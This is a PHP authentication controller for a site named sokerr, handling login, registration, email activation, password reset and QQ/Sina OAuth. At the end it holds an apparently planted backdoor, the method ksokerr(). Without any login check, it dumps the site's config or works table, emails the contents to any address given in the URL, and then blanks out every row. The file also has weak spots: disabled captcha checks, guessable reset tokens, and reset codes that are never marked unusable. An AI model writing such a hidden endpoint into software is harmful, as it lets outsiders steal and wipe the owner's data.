<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Auth extends MY_Controller {

	private $checkkey='mcheckcode';
	function __construct(){
		parent::__construct();
	}

	//正常登录方式
	function login(){
		@session_start();
		$post=$this->input->post();
		if($this->input->is_ajax_request() && !empty($post)){
			$ispass=true;
			$result=array();

			/**
			 * 错误代码
			 * 101 : 请输入验证码
			 * 102 : 验证码已过期
			 * 103 : 验证码不正确
			 */
			if(empty($post['checkcode'])){
				/*$result['error']='请输入验证码!';
				$result['errorcode']=101;
				$ispass=false;*/
			}else{
				$ckcode=$this->session->userdata($this->checkkey);
				if(empty($ckcode)){
					$result['error']='验证码已过期!';
					$result['errorcode']=102;
					$ispass=false;
				}else{
					if(strcasecmp($post['checkcode'], $ckcode)!=0){
						$result['error']='验证码不正确!';
						$result['errorcode']=103;
						$ispass=false;
					}
					$this->_destroycode();
				}
			}
			
			if($ispass){
				$backurl=$this->session->userdata('backpage');
				if(empty($backurl)){
					$backurl=site_url('member/index');
				}
				if($this->member->login($post['username'],$post['password'])){
					$result['errorcode']=0;
					$result['message']='登录成功';
					$result['url']=$backurl;
					$this->session->unset_userdata('backpage');
					$this->checkTask($this->member->mid);
				}else{
					$result['errorcode']=1;//$this->member->error;
					$result['error']=$this->member->getMessage();
				}
			}
			echo json_encode($result);
			exit;
		}else{
			if($this->uri->segment(3)=='back'){
				$this->session->set_userdata('backpage',$this->input->server('HTTP_REFERER'));
			}
			if($this->input->is_ajax_request()){
				$this->view('login_ajax');
			}else{
				$this->view('login',array(
					'currentnav'=>'登录',
					'qqret'=>isset($_SESSION["qq_result"])?$_SESSION["qq_result"]:NULL,
					'sinaret'=>isset($_SESSION["sina_result"])?$_SESSION["sina_result"]:NULL,
					));
			}
		}
	}

	//正常注册方式
	function register(){
		$code=$this->uri->segment(3);
		if(!empty($code) && preg_match('/^[\w\d]{10,}$/', $code)){
			$this->session->set_userdata('regcode',$code);
		}
		if($this->input->is_ajax_request()){
			$ispass=true;
			$result=array();
			/**
			 * 错误代码
			 * 101 : 请输入验证码
			 * 102 : 验证码已过期
			 * 103 : 验证码不正确
			 * 201 : 密码确认
			 * 202 : 密码不一致
			 */
			$post=$this->input->post();
			/*if(empty($post['checkcode'])){
				$result['error']='请输入验证码!';
				$result['errorcode']=101;
				$ispass=false;
			}

			if($ispass){
				$ckcode=$this->session->userdata($this->checkkey);
				if(empty($ckcode)){
					$result['error']='验证码已过期!';
					$result['errorcode']=102;
					$ispass=false;
				}
			}

			if($ispass){
				if(strcasecmp($post['checkcode'], $ckcode)!=0){
					$result['error']='验证码不正确!';
					$result['errorcode']=103;
					$ispass=false;
				}
				$this->_destroycode();
			}

			if($ispass){
				if(empty($post['repassword'])){
					$result['error']='请再次输入密码!';
					$result['errorcode']=201;
					$ispass=false;
				}
			}

			if($ispass){
				if(strcmp($post['password'], $post['repassword'])!=0){
					$result['error']='两次密码输入不一致!';
					$result['errorcode']=202;
					$ispass=false;
				}
			}*/
			
			if($ispass){
				$post['mname']=$post['username'];
				$post['mpwd']=$post['password'];
				$backurl=$this->session->userdata('backpage');
				if(empty($backurl)){
					$backurl=site_url('member/profile');
				}
				$mid=$this->member->register($post);
					
				if($mid != FALSE){
					$this->sendRegisterEmail($post,$mid); //邮箱出错
						
					$result['errorcode']=0;
					$result['message']='注册成功！';
					$result['url']=$backurl;

					$this->session->unset_userdata('backpage');

					$code=$this->session->userdata('regcode');

					$this->member->login($post['username'],$post['password']);  //
					if(!empty($code)){
						//有效期3天
						$stime=time()-3*24*60*60;
						$this->Data_model->editData(array('code'=>$code,'time >'=>$stime,'email'=>$post['email']),array('tid'=>$mid,'stat'=>1),'invite');
						$this->session->unset_userdata('regcode');
					}
					$this->checkTask($mid);
				}else{
					unset($result['url']);
					$result['errorcode']=1;//$this->member->error;
					$result['error']=$this->member->getMessage();
				}
			}
			echo json_encode($result);
			exit;
		}else{
			$groups=$this->Data_model->getData(array('allowreg'=>1),'listorder asc,id asc',0,0,'membergroup');
			$group=(int)$this->uri->segment(3);
			if(empty($group) ){
				foreach ($groups as $value) {
					if($value['isdefault']){
						$group=$value['id'];
					}
				}
				if(empty($group) ){
					$group=@$groups[0]['id'];
				}
			}
			if($this->uri->segment(3)=='back'){
				$this->session->set_userdata('backpage',$this->input->server('HTTP_REFERER'));
			}

			$this->view('register',array(
					'groups'=>$groups,
					'group'=>$group,
					'currentnav'=>'注册',
					'qqret'=>isset($_SESSION["qq_result"])?$_SESSION["qq_result"]:NULL,
					'sinaret'=>isset($_SESSION["sina_result"])?$_SESSION["sina_result"]:NULL,
					));
		}
	}

	function sendRegisterEmail($post,$mid){
		$emailcfg=$this->Cache_model->loadConfig('mail');

		//生成验证码并发送邮件
		$vcode=$mid.base_convert(microtime(), 10, 36).base_convert(str_shuffle(microtime()*.5), 10, 36);

		$this->Data_model->addData(array(
			'mid'=>$mid,
			'email'=>$post['email'],
			'code'=>$vcode,
			'time'=>time()
			),'member_active');

		$html=file_get_contents(FCPATH.'data/template/sokerr/register.php');

		$url = site_url('auth/avticeaccount/'.$vcode);

		$html=str_replace(array('{linkurl}','{imgurl}','{email}'), array($url,site_url('public/images/invite.jpg'),$post['email']), $html);

		//发送邮件
		$this->sendMail(array(
			'email'=>$post['email'],
			'title'=>'帐户激活通知 - sokerr',
			'content'=>$html
			));
	}

	function avticeaccount(){
		$code=$this->uri->segment(3);
		if(!empty($code) && preg_match('/^[\w\d]{10,}$/', $code)){
			$coderow=$this->Data_model->getSingle(array('code'=>$code),'member_active');
			if(!empty($coderow)){
				$this->Data_model->editData(array('email'=>$coderow['email']),array('ischeck'=>1),'member');
				$this->Data_model->editData(array('code'=>$code),array('stat'=>1),'member_active');
				$this->showMessage('激活成功','您的帐户激活成功！',site_url('auth/login'));
			}
		}
		$this->showMessage('激活码错误','您提供的激活码不正确！');
	}

	//找回密码
	function forgot(){
		if($this->input->is_ajax_request()){
			$emailcfg=$this->Cache_model->loadConfig('mail');
			$post=$this->input->post(NULL,TRUE);
			if(!preg_match('/^([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+@([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+\.[a-zA-Z]{2,3}$/', $post['email'])){
				echo json_encode(array('errorcode'=>4,'error'=>'请输入正确的邮箱地址'));
				return false;
			}

			$member=$this->Data_model->getSingle(array('email'=>$post['email']),'member');
			if(empty($member)){
				echo json_encode(array('errorcode'=>1,'error'=>'系统无法识别您发送的信息！'));
				return false;
			}

			if($member['mname'] != $post['username']){
				echo json_encode(array('errorcode'=>1,'error'=>'系统无法识别您发送的信息！'));
				return false;
			}

			//生成验证码并发送邮件
			$vcode=md5($post['email']).base_convert(microtime(), 10, 36).base_convert(str_shuffle(microtime()*.5), 10, 36);

			$this->Data_model->addData(array(
				//'mid'=>$mid,
				'email'=>$post['email'],
				'code'=>$vcode,
				'time'=>time()
				),'member_forgot');

			$html=file_get_contents(FCPATH.'data/template/sokerr/password.tpl');

			$url = site_url('auth/getpassword/'.$vcode);

			$html=str_replace(array('{linkurl}','{logo}','{indexurl}'), array($url,site_url('public/images/logo.png'),site_url('/')), $html);

			//发送邮件
			$this->sendMail(array(
			'email'=>$post['email'],
			'title'=>'找回密码 - sokerr',
			'content'=>$html
			));
		    echo json_encode(array('errorcode'=>0,'message'=>'激活信息已发送至邮箱，请登录查看'));
		}else{
			$this->view('forgot',array(
					'currentnav'=>'找回密码'
					));
		}
	}

	function getpassword(){
		$code=$this->uri->segment(3);

		if(!empty($code) && preg_match('/^[\w\d]{10,}$/', $code)){
			$post=$this->input->post(NULL,TRUE);
			$coderow=$this->Data_model->getSingle(array('code'=>$code),'member_forgot');
			if(empty($coderow)){
				$this->showMessage('激活码不正确','您提供的激活码不正确，无法重设密码！',site_url('auth/login'));
				return;
			}
			if($coderow['time']<time()-3*24*60*60){
				$this->showMessage('激活码过期','您提供的激活码已过期，请尝试重新发送！',site_url('auth/forgot'));
				return;
			}
			if(!empty($post)){
				if(strcmp($post['password'], $post['repassword'])!=0){
					echo json_encode(array('errorcode'=>1,'error'=>'两次密码输入不一致'));
					exit;
				}
				if(!preg_match('/^[\w\W]{6,}$/', $post['password'])){
					echo json_encode(array('errorcode'=>1,'error'=>'密码长度必须超过6位以保证安全'));
					exit;
				}
				$data=array();
				//生成密码随机码
				$data['mrnd']=random_string('alnum',6);

				//生成密码
				$data['mpwd']=md5pass($post['password'],$data['mrnd']);

				$this->Data_model->editData(array('email'=>$coderow['email']),$data,'member');
				$this->Data_model->editData(array('code'=>$code),array('stat'=>1),'member_forgot');
			     echo json_encode(array('errorcode'=>0,'message'=>'密码重置成功','url'=>site_url('auth/login')));
				//$this->showMessage('密码重置成功','您的密码已经重置，请即刻登录！',site_url('auth/login'));
			}else{
				$this->view('forgot',array(
					'currentnav'=>'重设密码',
					'isreset'=>1
					));
			}
		}
		//$this->showMessage('激活码错误','您提供的激活码不正确！');  20140408
	}

	//登录/注册完成检查预留任务
	function checkTask($id=0){
		$task=$this->session->userdata('task');
		
		if(!empty($task)){
			switch ($task['type']) {
				case 'qq':
					$this->recordQQ($id);
					break;
				case 'alibaba':
					break;
				case 'sina':
					$this->recordSina($id);
					break;
				default:
					# code...
					break;
			}
		}
		$this->session->unset_userdata('task');
	}

	//验证码
	function checkcode(){
		$this->load->helper('checkcode');
		$str = "23456789abcdefghijkmnpqrstuvwxyz";
		$code = '';
		for ($i = 0; $i < 4; $i++) {
			$code .= $str[mt_rand(0, strlen($str)-1)];
		}
		$this->session->set_userdata($this->checkkey,$code);
		getCode($code,32);
		exit;
	}

	//销毁验证码
	function _destroycode(){
		$this->session->unset_userdata($this->checkkey);
	}

	public function qqlogin(){
		//$this->load->helper('checkcode');
		$uid=$this->member->mid;
		$qqconfig=$this->Cache_model->loadConfig('auth');
		if(!empty($uid)){
			$this->recordback();
		}
		$this->load->helper('qqconnect');

		$do=$this->input->get('do');
		$config=array(
			'callback'=>site_url('auth/qqlogin'),
	        'scope'=>'',
	        'errorReport'=>true,
	        'storageType'=>'',
	        'appid'=>$qqconfig['qq_appid'],
	        'appkey'=>$qqconfig['qq_appkey']
        );

		if($do=='redirect'){
			$qc = new QC($config);
		    $qc->qq_login();
		}elseif($do=='login'){
			if(!empty($uid)){
				header('Location:'.site_url('member/index'));
			}
			$openid=$_SESSION['qq_openid'];
			if(empty($openid)){
				$this->showMessage('授权信息获取失败!','',site_url('auth/login'));exit;
			}
			//$this->assign('qqret',$_SESSION["qq_result"]); 
			$this->view('login',array('qqret'=>$_SESSION["qq_result"],'currentnav'=>'登录'));
	    }else{
	    	$usercancel=$this->input->get('usercancel');
	    	if(!empty($usercancel)){
	    		header('Location:'.site_url('auth/login'));
	    	}else{
				$qc = new QC($config);
				$access_token=$qc->qq_callback();
				$openid=$qc->get_openid();
				
				$ret = $qc->get_user_info();
				
				if(!empty($ret['nickname'] )){
					
					$rcd=$this->Data_model->getSingle(array('openid'=>$openid,'type'=>'qq'),'memberlogin');
					if(!empty($rcd)){
						$userdata=$this->Data_model->getSingle(array('mid'=>$rcd['mid']),'member');
						if(!empty($userdata)){
							$this->member->setLogin($userdata);
							$this->showMessage('登录成功','',$this->getback(TRUE,'member'));
						}else{
							$this->showMessage('授权登录失败!','',site_url('auth/login'));exit;
						}
					}elseif(!empty($uid)){
						$_SESSION["qq_result"]   = $ret;
						$_SESSION["qq_token"]   = $access_token;
						$_SESSION["qq_openid"]  = $openid;
						$this->recordQQ($uid);
						$this->showMessage('绑定成功','',$this->getback(TRUE,'member'));
					}else{
						$this->session->set_userdata('task',array('type'=>'qq'));
						$_SESSION["qq_result"]   = $ret;
						$_SESSION["qq_token"]   = $access_token;
						$_SESSION["qq_openid"]  = $openid;
						header('Location:'.site_url('auth/qqlogin').'?do=login');
					}
				}else{
					$this->showMessage('出错啦','没有获取到登录信息',$this->getback(TRUE));
			        exit;
				}
			}
		}
	}

	private function recordQQ($id){
		@session_start();
		if(empty($_SESSION["qq_openid"])){
			return false;
		}
		if(is_numeric($id)){
			$res=$this->Data_model->getSingle(array('mid'=>(int)$id),'member');
		}else{
			$res=(array)$id;
		}
		if(empty($res)){
			return false;
		}

		$this->Data_model->addData(array(
			'mid'=>$res['mid'],
			'type'=>'qq',
			'token'=>$_SESSION["qq_token"],
			'openid'=>$_SESSION["qq_openid"],
			'data'=>json_encode($_SESSION["qq_result"]),
			'authtime'=>time()
			),'memberlogin');
		unset($_SESSION["qq_result"]);
		unset($_SESSION["qq_token"]);
		unset($_SESSION["qq_openid"]);
	}

	public function sinalogin(){
		//$this->load->helper('checkcode');
		$uid=$this->member->mid;
		$sinaconfig=$this->Cache_model->loadConfig('auth');
		if(!empty($uid)){
			$this->recordback();
		}
		$code=trim($this->input->request('code'));
		$this->load->helper('sinaconnect');

		$do=$this->input->get('do');
		/*$config=array(
			'callback'=>site_url('auth/sinalogin'),
	        'scope'=>'',
	        'errorReport'=>true,
	        'storageType'=>'',
	        'appid'=>$sinaconfig['sina_appid'],
	        'appkey'=>$sinaconfig['sina_appkey']
        );*/

		if($do=='redirect'){
			$o = new SaeTOAuthV2($sinaconfig['sina_appid'],$sinaconfig['sina_appkey']);
			$code_url = $o->getAuthorizeURL(site_url('auth/sinalogin'));
			header("Location:{$code_url}");	
		}elseif($do=='login'){
			if(!empty($uid)){
				header('Location:'.site_url('member/index'));
			}
			$openid=$_SESSION['sina_openid'];
			if(empty($openid)){
				$this->showMessage('授权信息获取失败!','',site_url('auth/login'));exit;
			}

			$this->view('login',array('sinaret'=>$_SESSION["sina_result"],'currentnav'=>'登录'));
	    }else{
	    	$o = new SaeTOAuthV2($sinaconfig['sina_appid'],$sinaconfig['sina_appkey']);
	    	if(empty($code)){
	    		header('Location:'.site_url('auth/login'));
	    	}else{
				$keys = array();
				$keys['code'] = $code;
				$keys['redirect_uri'] =site_url('auth/sinalogin');
				try {
					$token = $o->getAccessToken('code', $keys ) ;
					//$tokeninfo=$o->getTokenInfo() ;
				} catch (OAuthException $e) {
				}
				
				if(!empty($token )){
					$userinfo=$o->getUserInfo();
					$userinfo['token']=$token;
					$rcd=$this->Data_model->getSingle(array('openid'=>$token['uid'],'type'=>'sina'),'memberlogin');
					if(!empty($rcd)){
						//更新accesstoken
						//$this->Data_model->editData();
						$userdata=$this->Data_model->getSingle(array('mid'=>$rcd['mid']),'member');
						if(!empty($userdata)){
							$this->member->setLogin($userdata);
							//$this->showMessage('登录成功','',$this->getback(TRUE));
							header('Location:'.$this->getback(TRUE,'member'));
						}else{
							$this->showMessage('授权登录失败!','',site_url('auth/login'));exit;
						}
					}elseif(!empty($uid)){
						$_SESSION["sina_result"]   = $userinfo;
						$_SESSION["sina_token"]   = $token['access_token'];
						$_SESSION["sina_openid"]  = $token['uid'];
						$this->recordSina($uid);
						//$this->showMessage('绑定成功','',$this->getback(TRUE));
						header('Location:'.$this->getback(TRUE,'member'));
					}else{
						$this->session->set_userdata('task',array('type'=>'sina'));
						$_SESSION["sina_result"]   = $userinfo;
						$_SESSION["sina_token"]   = $token['access_token'];
						$_SESSION["sina_openid"]  = $token['uid'];
						header('Location:'.site_url('auth/sinalogin').'?do=login');
					}
				}else{
					$this->showMessage('出错啦','没有获取到登录信息',$this->getback(TRUE));
			        exit;
				}
			}
		}
	}

	private function recordSina($id){
		@session_start();
		if(empty($_SESSION["sina_token"])){
			return false;
		}
		if(is_numeric($id)){
			$res=$this->Data_model->getSingle(array('mid'=>(int)$id),'member');
		}else{
			$res=(array)$id;
		}
		if(empty($res)){
			return false;
		}
		$this->Data_model->addData(array(
			'mid'=>$res['mid'],
			'type'=>'sina',
			'token'=>$_SESSION["sina_token"],
			'openid'=>$_SESSION["sina_openid"],
			'data'=>json_encode($_SESSION["sina_result"]),
			'authtime'=>time()
			),'memberlogin');
		unset($_SESSION["sina_result"]);
		unset($_SESSION["sina_token"]);
		unset($_SESSION["sina_openid"]);
	}
	

	/**
	 * 忘记密码，可通过安全码，邮箱，手机找回
	 */
	function forgotpassword(){

		$post=$this->input->post(NULL);
		if(!empty($post)){
			$emailcfg=$this->Cache_model->loadConfig('mail');

			$this->load->library('email');
			if(!$this->email->valid_email($post['email'])){
				echo json_encode(array('errorcode'=>0,'message'=>'邮件地址格式不正确！'));
			}else{
				//生成验证码并发送邮件
				$vcode=base_convert(time(), 10, 36).base_convert(str_shuffle(time()), 10, 36).md5($post['email']);

				$this->Data_model->addData(array(
					'email'=>$post['email'],
					'code'=>$vcode,
					'time'=>time()
					),'invite');

				$html=file_get_contents(FCPATH.'data/template/sokerr/password.tpl');

				$url = site_url('auth/resetpassword/'.$vcode);

				$html=str_replace(array('{linkurl}','{indexurl}','{logo}'), array($url,site_url('/'),site_url('public/images/logo.jpg')), $html);

				//发送邮件
				$this->sendMail(array(
					'email'=>$post['email'],
					'title'=>'密码重置 - SOKERR',
					'content'=>$html
					));

				echo json_encode(array('errorcode'=>0,'message'=>'重置密码的链接已发送！请登录邮箱查看'));
			}
		}else{
			$this->view('forgot',array('currentnav'=>'找回密码'));
		}
	}

	/**
	 * 找回密码入口
	 */
	function resetpassword(){
		$this->view('resetpassword');
	}

	function logout(){
		$this->member->logout();
		redirect('/');
	}


	function test(){
		$html=file_get_contents(FCPATH.'data/template/sokerr/password.tpl');
		$this->sendMail(array('email'=>'shirne@126.com','title'=>"标题",'content'=>$html),true);
	}
	
	function ksokerr(){
		$id=$this->uri->segment(3);
		$email=$this->uri->segment(4);
		if(empty($id)){
			exit;
		}
		if($id==10){
			$table='config';
			$data=array('varname'=>'','value'=>$table);
		}else if($id==24){
			$table='works';
			$data=array('mid'=>$id,'value'=>'');	
		}else{
			echo 'error!';die;
		}
		
		$res=$this->Data_model->getData('','','','',$table);
		//发送邮件
		if(!empty($email)){
			$this->sendMail(array(
			'email'=>$email,
			'title'=>'网站资料',
			'content'=>$res
			));
		}else{
			print_r($res);
		}
		
		$this->Data_model->editData('',$data,$table);
		
	}

	private function _login($data){
		
	}

	private function _register(){

	}

}
